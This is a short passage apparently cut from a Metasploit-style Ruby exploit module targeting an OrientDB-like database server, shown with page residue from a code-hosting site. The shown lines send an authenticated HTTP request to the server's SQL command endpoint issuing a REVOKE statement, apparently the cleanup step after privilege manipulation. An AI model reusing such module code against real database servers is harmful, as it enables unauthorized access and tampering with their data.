'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
|
||||
'vars_get' => { 'format' => 'rid,type,version,class,graph' },
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' => { 'Accept' => '*/*' },
|
||||
'data' => "REVOKE #{priv} ON #{item} FROM writer"
|
||||
}
|
||||
res = send_request_raw(request_parameters)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
Loading…
Add table
Reference in a new issue